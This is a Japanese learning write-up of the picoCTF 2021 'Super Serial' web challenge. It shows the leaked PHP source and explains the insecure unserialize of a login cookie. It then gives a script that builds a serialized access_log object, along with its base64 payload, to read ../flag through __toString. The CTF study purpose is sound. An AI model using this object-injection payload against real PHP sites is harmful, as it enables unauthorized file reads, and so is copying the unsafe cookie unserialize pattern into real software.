picoCTF 2021 Super Serial

できなかった問題をwriteup等を参考に勉強した記録を残す。
勉強した結果，徳丸本 4.14.2 安全でないデシリアライゼーション に関する問題とわかった。

313 solvesの難問

# Super Serial

http://mercury.picoctf.net:5428/

ヒント　../flag

アクセスするとこんな画面が表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/577ebcbe-89e2-6445-bc9f-dd7a69fb84df.png)
OSコマンドインジェクションとか狙ったが全くだめ

以下，他力ありき。

robots.txt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/bd42ab37-7a03-0763-eec7-9261827b8921.png)
admin.phps
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/54188b47-4a78-3a7d-8ecd-86b5d59b99d3.png)

phpsって何？

https://stackoverflow.com/questions/41689479/what-is-the-file-extension-phps-and-what-is-it-used-for

The PHPS file type is primarily associated with 'PHP Source' by The PHP Group.とか書いある

index.phpsは？
見えた

```php5:index.phps
<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
	$con = new SQLite3("../users.db");
	$username = $_POST["user"];
	$password = $_POST["pass"];
	$perm_res = new permissions($username, $password);
	if ($perm_res->is_guest() || $perm_res->is_admin()) {
		setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
		header("Location: authentication.php");
		die();
	} else {
		$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
	}
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
	<body>
		<div class="container">
			<div class="row">
				<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
					<div class="card card-signin my-5">
						<div class="card-body">
							<h5 class="card-title text-center">Sign In</h5>
							<?php if (isset($msg)) echo $msg; ?>
							<form class="form-signin" action="index.php" method="post">
								<div class="form-label-group">
									<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
									<label for="user">Username</label>
								</div>

								<div class="form-label-group">
									<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
									<label for="pass">Password</label>
								</div>

								<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>
```

インクルードしているcookie.phps

```php5:cookie.phps
<?php
session_start();

class permissions
{
	public $username;
	public $password;

	function __construct($u, $p) {
		$this->username = $u;
		$this->password = $p;
	}

	function __toString() {
		return $u.$p;
	}

	function is_guest() {
		$guest = false;

		$con = new SQLite3("../users.db");
		$username = $this->username;
		$password = $this->password;
		$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
		$stm->bindValue(1, $username, SQLITE3_TEXT);
		$stm->bindValue(2, $password, SQLITE3_TEXT);
		$res = $stm->execute();
		$rest = $res->fetchArray();
		if($rest["username"]) {
			if ($rest["admin"] != 1) {
				$guest = true;
			}
		}
		return $guest;
	}

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
	try{
		$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		$g = $perm->is_guest();
		$a = $perm->is_admin();
	}
	catch(Error $e){
		die("Deserialization error. ".$perm);
	}
}

?>
```

インクルードしているauthentication.phps

```php5:authentication.phps
<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
	<body>
		<div class="container">
			<div class="row">
				<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
					<div class="card card-signin my-5">
						<div class="card-body">
							<h5 class="card-title text-center"><?php echo $msg; ?></h5>
							<form action="index.php" method="get">
								<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>
```

今通勤電車で読んでる徳丸本の4.14.2 安全でないデシリアライゼーションで
徳丸先生が使ってはいけないといっているserialize/unserializeがあり，
serializeしたデータをcookieに格納し，
cookieからserializeしたデータを取り出してunserializeしてる。

徳丸本を読んだとき，PHPのソースが見えないとできない攻撃だから，「こんなの実際には起こらないだろ」と思っていたが，この問題で，robots.txtでソースが見えるというヒントがあり，なるほどよく出来た問題だなと思った次第であります。はい。

PHP Object Injection

https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection

serialize してる場所

```php5:index.phps
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
```

unserialize してる場所

````php5:cookie.phps
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
```

どうやら cookie にPHPスクリプトを注入できそうだ

また徳丸本だが，PHPの場合，デシリアライズできるクラスは，攻撃対象アプリケーション内であらかじめ定義されているものに限られるとある

攻撃にもってこいなのはaccess_logクラス

```php5:authentication.phps
<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>
```

$log = new access_log("access.log")の access.log を ../flag に変更すればいい感じ。

https://www.php.net/manual/ja/language.oop5.magic.php

read_log() がマジックメソッド __toString() に定義されており，
echo $obj; としたときに ../flag の中身を表示できそうだ。

攻撃コード作成スクリプト（シリアライズしたデータが見える状態）

```php5
<?php

// access_logは，authentication.phpsからコピペ
class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

// $log = new access_log("access.log"); と同じようにオブジェクト生成
$log = new access_log("../flag");

//echo "Cookie: "

// $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));の逆をする
//echo urlencode(base64_encode(serialize($log)));
echo serialize($log)
?>
```

結果

```
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
```

攻撃コード作成スクリプト（本番用）

```php5
<?php

// access_logは，authentication.phpsからコピペ
class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

// $log = new access_log("access.log"); と同じようにオブジェクト生成
$log = new access_log("../flag");

//echo "Cookie: "

// $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));の逆をする
echo urlencode(base64_encode(serialize($log)));
//echo serialize($log)
?>
```

結果

```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```

攻撃開始

攻撃目標は，access_logクラスがあるauthentication.php
発動場所は，unserializeがあるcookie.php
cookie.phpはauthentication.phpにインクルードされてるから問題なし

コードが実行されるまでの流れ

```php5:cookie.php

if(isset($_COOKIE["login"])){
    try{
        // 1. 攻撃コードがアンシリアライズされる
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));

        // 2. usernameやpasswordが無いのでエラーになる
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    }
    catch(Error $e){
        // 3. ここに飛んでくる
        die("Deserialization error. ".$perm);
        // 4. __toString()が発動
        // 5. read_log()が発動
    }

```

結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/15b1b284-55bf-960a-52b9-444d83afadf1.png)

狙いどおり　ビンゴ！